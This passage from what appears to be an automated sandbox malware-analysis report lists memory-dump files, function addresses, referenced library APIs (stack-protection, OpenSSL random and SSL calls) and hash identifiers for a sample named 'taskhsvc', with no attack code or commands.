                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort
                                        • String ID: J"
                                        • API String ID: 646538096-2859023003
                                        • Opcode ID: 73c6e160f4c1fd2138db1839d49ae6aa1024b5e1bce5f21165c157d7d71f1e7c
                                        • Instruction ID: 21c2b9c19ef325f50fa99a5f478ceb771f595ebb29da7255c30207b6e7e92923
                                        • Opcode Fuzzy Hash: 73c6e160f4c1fd2138db1839d49ae6aa1024b5e1bce5f21165c157d7d71f1e7c
                                        • Instruction Fuzzy Hash: 7F01A5709083089BDB10EF68C5816DEBBF4EB49304F11889EA59897240E7B49AC59F92
                                        Function 00C60A6B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00BF21C1: abort.MSVCRT ref: 00BF2287
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00000000,?,?,00C633CD), ref: 00C60ABA
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabort
                                        • String ID: m
                                        • API String ID: 3276312271-3155054174
                                        • Opcode ID: 7d33e589c9ce113618f032e83fc7947d06f2eae236e3138fdc66a6dbe8bfe51f
                                        • Instruction ID: 1e4e4c7534520925809e6f692f94c789821e2d1a957dfbbc68fa95edbe3d9e7b
                                        • Opcode Fuzzy Hash: 7d33e589c9ce113618f032e83fc7947d06f2eae236e3138fdc66a6dbe8bfe51f
                                        • Instruction Fuzzy Hash: DEF04DB8A042099FCB40DFA9C581A9EBBF0AB08310F018859E958E7300E334E9118F65
                                        Function 00BC4C42 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D3CC1C: RAND_poll.LIBEAY32 ref: 00D3CC3A
                                          • Part of subcall function 00D3CC1C: RAND_seed.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00D35F8E), ref: 00D3CC9E
                                          • Part of subcall function 00D3CC1C: RAND_status.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00D35F8E), ref: 00D3CCCA
                                          • Part of subcall function 00D3CC1C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D35F8E), ref: 00D3CCEB
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BC4C9B
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$D_pollD_seedD_status
                                        • String ID: D
                                        • API String ID: 233213208-3280389146
                                        • Opcode ID: 58b04a5520657f770518a2d8c0c0e68c159ded404fcfbcb7778735aba746e13b
                                        • Instruction ID: b7a6f9943de1e3daff16fc4dea1ab6de0ae3559943b70a40117f53b74301d6b0
                                        • Opcode Fuzzy Hash: 58b04a5520657f770518a2d8c0c0e68c159ded404fcfbcb7778735aba746e13b
                                        • Instruction Fuzzy Hash: A9F0F870A04208ABCF00EF69C54269EBBF0EB44354F41D858E998EB341E374E941CFA9
                                        Function 00BF0D83 Relevance: 3.5, APIs: 2, Instructions: 462COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BF1529
                                          • Part of subcall function 00D25435: __stack_chk_fail.LIBSSP-0 ref: 00D25455
                                          • Part of subcall function 00BEF26C: __stack_chk_fail.LIBSSP-0 ref: 00BEF37D
                                          • Part of subcall function 00D42356: abort.MSVCRT ref: 00D423A6
                                          • Part of subcall function 00D42356: SSL_pending.SSLEAY32 ref: 00D423B4
                                          • Part of subcall function 00D42356: __stack_chk_fail.LIBSSP-0 ref: 00D423C4
                                          • Part of subcall function 00BE3DED: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BC1825), ref: 00BE3E14
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$L_pendingabort
                                        • String ID:
                                        • API String ID: 1266101828-0
                                        • Opcode ID: 6b558529a7763df6c76462b000aaec05360033e3d7d4fb18f9293fc487d7c56b
                                        • Instruction ID: 152f3521e58998951832d1332241898fe0b6e12b256a5d7457bf7aaa3e078033
                                        • Opcode Fuzzy Hash: 6b558529a7763df6c76462b000aaec05360033e3d7d4fb18f9293fc487d7c56b
                                        • Instruction Fuzzy Hash: B1229374E04249DFCB00DFA9D584AADBBF1EF48310F15889AE9A4AB362D734D985CF11
                                        Function 00C61DC5 Relevance: 3.1, APIs: 2, Instructions: 140COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                          • Part of subcall function 00C61A83: __stack_chk_fail.LIBSSP-0 ref: 00C61ABC
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C61FBD
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00C61E5F
                                          • Part of subcall function 00D081DD: __stack_chk_fail.LIBSSP-0 ref: 00D0826A
